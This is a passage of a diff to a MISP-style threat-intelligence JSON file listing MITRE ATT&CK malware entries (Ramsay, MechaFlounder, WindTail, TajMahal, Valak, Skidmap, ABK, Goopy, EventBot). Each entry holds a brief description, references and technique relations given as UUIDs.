"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc89ecbd-3d33-4a41-bcca-001e702d18fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", + "value": "Ramsay - S0458" + }, + { + "description": "[MechaFlounder](https://attack.mitre.org/software/S0459) is a python-based remote access tool (RAT) that has been used by [APT39](https://attack.mitre.org/groups/G0087). The payload uses a combination of actor developed code and code snippets freely available online in development communities.(Citation: Unit 42 MechaFlounder March 2019)", + "meta": { + "external_id": "S0459", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0459", + "https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/" + ], + "synonyms": [ + "MechaFlounder" + ] + }, + "related": [ + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2", + "value": "MechaFlounder - S0459" + }, + { + "description": "[WindTail](https://attack.mitre.org/software/S0466) is a macOS surveillance implant used by [Windshift](https://attack.mitre.org/groups/G0112). [WindTail](https://attack.mitre.org/software/S0466) shares code similarities with Hack Back aka KitM OSX.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)", + "meta": { + "external_id": "S0466", + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0466", + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf", + "https://objective-see.com/blog/blog_0x3B.html", + "https://objective-see.com/blog/blog_0x3D.html" + ], + "synonyms": [ + "WindTail" + ] + }, + "related": [ + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b4b7458f-81f2-4d38-84be-1c5ba0167a52", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "0d1f9f5b-11ea-42c3-b5f4-63cce0122541", + "value": "WindTail - S0466" + }, + { + "description": "[TajMahal](https://attack.mitre.org/software/S0467) is a multifunctional spying framework that has been in use since at least 2014. [TajMahal](https://attack.mitre.org/software/S0467) is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.(Citation: Kaspersky TajMahal April 2019)", + "meta": { + "external_id": "S0467", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0467", + "https://securelist.com/project-tajmahal/90240/" + ], + "synonyms": [ + "TajMahal" + ] + }, + "related": [ + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b51797f7-57da-4210-b8ac-b8632ee75d70", + "value": "TajMahal - S0467" + }, + { + "description": "[Valak](https://attack.mitre.org/software/S0476) is a multi-stage modular malware that can function as a standalone or downloader, first observed in 2019 targeting enterprises in the US and Germany.(Citation: Cybereason Valak May 2020)", + "meta": { + "external_id": "S0476", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0476", + "https://www.cybereason.com/blog/valak-more-than-meets-the-eye" + ], + "synonyms": [ + "Valak" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "ade37ada-14af-4b44-b36c-210eec255d53", + "value": "Valak - S0476" + }, + { + "description": "[Skidmap](https://attack.mitre.org/software/S0468) is a kernel-mode rootkit used for cryptocurrency mining.(Citation: Trend Micro Skidmap)", + "meta": { + "external_id": "S0468", + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/software/S0468", + "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/" + ], + "synonyms": [ + "Skidmap" + ] + }, + "related": [ + { + "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "06c00069-771a-4d57-8ef5-d3718c1a8771", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4b68b5ea-2e1b-4225-845b-8632f702b9a0", + "value": "Skidmap - S0468" + }, + { + "description": "[ABK](https://attack.mitre.org/software/S0469) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)", + "meta": { + "external_id": "S0469", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0469", + "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf" + ], + "synonyms": [ + "ABK" + ] + }, + "related": [ + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a0ebedca-d558-4e48-8ff7-4bf76208d90c", + "value": "ABK - S0469" + }, + { + "description": "[Goopy](https://attack.mitre.org/software/S0477) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050) and shares several similarities to another backdoor used by the group ([Denis](https://attack.mitre.org/software/S0354)). [Goopy](https://attack.mitre.org/software/S0477) is named for its impersonation of the legitimate Google Updater executable.(Citation: Cybereason Cobalt Kitty 2017)", + "meta": { + "external_id": "S0477", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0477", + "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + ], + "synonyms": [ + "Goopy" + ] + }, + "related": [ + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "eac3d77f-2b7b-4599-ba74-948dc16633ad", + "value": "Goopy - S0477" + }, + { + "description": "[EventBot](https://attack.mitre.org/software/S0478) is an Android banking trojan and information stealer that abuses Android’s accessibility service to steal data from various applications.(Citation: Cybereason EventBot) [EventBot](https://attack.mitre.org/software/S0478) was designed to target over 200 different banking and financial applications, the majority of which are European bank and cryptocurrency exchange applications.(Citation: Cybereason EventBot)", + "meta": { + "external_id": "S0478", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0478", + "https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born" + ], + "synonyms": [ + "EventBot" + ] + }, + "related": [ + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "tags": 